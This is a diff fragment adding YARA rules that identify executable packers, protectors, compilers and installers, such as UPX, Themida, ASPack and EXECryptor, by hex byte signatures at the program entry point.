+		description = "Thinstall Embedded 1.9X -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+		$1 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _InstallShield_2000_
+{
+	meta:
+		description = "InstallShield 2000"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Krypton_v04__yadolockless_
+{
+	meta:
+		description = "Krypton v0.4 -> yado/lockless"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED 61 34 ?? 00 2B 85 60 37 ?? 00 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PureBasic_4x_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+		$1 = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_02x__Dwing_
+{
+	meta:
+		description = "Upack 0.2x -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_060__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 0.60 -> SLV / ICU"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+		$1 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UltraPro_V10__SafeNet_
+{
+	meta:
+		description = "UltraPro V1.0 -> SafeNet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+		$1 = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+		$1 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1322__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.2.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+		$1 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_V540__Silicon_Realms_Toolworks__20080214_
+{
+	meta:
+		description = "Armadillo V5.40 -> Silicon Realms Toolworks * 20080214"
+	strings:
+		$0 = {E8 93 3E 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 B4 1F 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 AF 1D 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 40 1D 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 C1 1B 00 00 59 89 7D FC FF 75 08 E8 B1 46 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 86 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C4 FA FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 67 1A 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyEnE_001p_by_Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE 0.01+ by Lennart Hedlund"
+	strings:
+		$0 = {60 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 00 00 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v190g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect v1.90g -> Risco software Inc."
+	strings:
+		$0 = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+		$1 = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PE_Pack_099_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Pack 0.99"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+		$1 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sharp_GPB_Graphics_format_
+{
+	meta:
+		description = "Sharp GPB Graphics format"
+	strings:
+		$0 = {4D 00 00 00 00 ?? ?? ?? ?? 08 00 00 00 03 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_with_CRC_check_
+{
+	meta:
+		description = "PKLITE v1.50 with CRC check"
+	strings:
+		$0 = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v274_
+{
+	meta:
+		description = "EXE Stealth v2.74"
+	strings:
+		$0 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 91 0C 00 00 90 8D BD 38 28 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Powerbasic_210_
+{
+	meta:
+		description = "Powerbasic 2.10"
+	strings:
+		$0 = {2E 8C 1E 3E 00 2E C7 06 3C 00 00 00 E8 00 04 E8 00 00 E8 00 0A B8 FF FF 2E F7 06 4A 00 40 00 75 02 32 E4 50 E8 00 0B E8 10 00 58 E8 00 0B 2E 8E 1E 00 28 A1 02 00 B4 4C CD 21 E8 00 00 E8 00 01 72 00 E8 00 02 E8 00 02 E8 00 0E E8 00 16}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_
+{
+	meta:
+		description = "Nullsoft PiMP Install System"
+	strings:
+		$0 = {83 EC ?? 53 55 56}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_aPLib_or_LZMA__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (aPLib or LZMA) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? 02 00 00 33 FF E8 ?? 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS_Device_Driver_
+{
+	meta:
+		description = "DOS Device Driver"
+	strings:
+		$0 = {FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Graphics_Interface_Driver_
+{
+	meta:
+		description = "Borland Graphics Interface Driver"
+	strings:
+		$0 = {46 42 47 44}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V2021__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.0/2.1 -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+	condition:
+		$0
+}
+rule _JDProtectV2009Xdemo____20090503_
+{
+	meta:
+		description = "JDProtect.V2009.X.demo -> ÌìÀÖÈí¼þ¿Æ¼¼ * 20090503"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_beta__Spy_Instructor_
+{
+	meta:
+		description = "AntiDote 1.0 beta -> Spy Instructor"
+	strings:
+		$0 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+		$1 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_V121build0909_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.21.build.09.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeStealth__WebToolMaster_
+{
+	meta:
+		description = "ExeStealth -> WebToolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Reflexive_Arcade_Installer_
+{
+	meta:
+		description = "Reflexive Arcade Installer"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 48 42 00 68 B4 DC 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 31 42 00 33 D2 8A D4 89 15 8C CA 42 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_UPX_06_
+{
+	meta:
+		description = "PseudoSigner 0.1 [UPX 0.6"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+		$1 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XComp_V098_LZSS__JoKo_
+{
+	meta:
+		description = "XComp V0.98 (LZSS) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 E5 02 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 4C ?? ?? 00 34 ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_090__099_EXE_
+{
+	meta:
+		description = "aPack 0.90 - 0.99 [EXE]"
+	strings:
+		$0 = {1E 06 8C CB BA 00 00 03 DA FC 33 F6 33 FF 4B 8E DB 8D 87 00 00 8E C0 B9 08 00 F3 A5 4A 75 EB 8E C3 8E D8 33 FF BE 30 00 05 00 00 0E 50 6A 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_LZMA_430___ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (LZMA 4.30)  -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_131__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 -> dulek/xt"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RJcrush_v100_
+{
+	meta:
+		description = "RJcrush v1.00"
+	strings:
+		$0 = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_v2018__c2007_Oreans_Technologies_
+{
+	meta:
+		description = "Themida v2.0.18 -> (c)2007 Oreans Technologies"
+	strings:
+		$0 = {83 EC 04 50 53 E8 00 00 00 00 58 8B D8 2D 00 ?? ?? 00 2D ?? ?? ?? 00 05 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARK_5x__Trymedia_Systems_Inc_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems Inc."
+	strings:
+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Registration_file_v11_
+{
+	meta:
+		description = "File Analyzer Registration file v1.1"
+	strings:
+		$0 = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v138__SteelBytes_
+{
+	meta:
+		description = "EXE32Pack v1.38 -> SteelBytes"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? 00 ?? ?? 00 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_apk2_V006__Dmitry_AND_Andreev____20080731_
+{
+	meta:
+		description = "ANDpakk2 (apk2) V0.06 -> Dmitry AND Andreev   * 20080731"
+	strings:
+		$0 = {60 FC BE ?? ?? ?? ?? BF ?? ?? ?? ?? 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD ?? ?? ?? ?? 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ___Russian_PacK_
+{
+	meta:
+		description = "SimbiOZ  -> Russian PacK"
+	strings:
+		$0 = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_42_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 4.2 (DLL)"
+	strings:
+		$0 = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_13_FinalBuild_81026_
+{
+	meta:
+		description = "SimplePack 1.3 Final[Build 81026"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 62 01 00 00 50 45 00 00 4C 01 01 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V14X__risco_
+{
+	meta:
+		description = "ACProtect V1.4X -> risco"
+	strings:
+		$0 = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+		$1 = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Armadillo 3.00] --> Anorganix"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_105b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.05b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CE 3A 44 00 B8 C8 3A 44 00 03 C5 2B 85 B5 3E 44 00 89 85 C1 3E 44 00 80 BD AC 3E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_051__072_COM_
+{
+	meta:
+		description = "UPX 0.51 - 0.72 [COM]"
+	strings:
+		$0 = {B9 00 00 BE 00 00 BF C0 FF FD F3 A4 FC F7 E1 93 87 F7 83 EE 00 19 ED 57}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v04x__v05x_
+{
+	meta:
+		description = "tElock v0.4x - v0.5x"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+		$1 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _code_
+{
+	meta:
+		description = "code"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Copy_Protector_v20_
+{
+	meta:
+		description = "Copy Protector v2.0"
+	strings:
+		$0 = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2223_compressed_code__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com"
+	strings:
+		$0 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+		$1 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+		$2 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
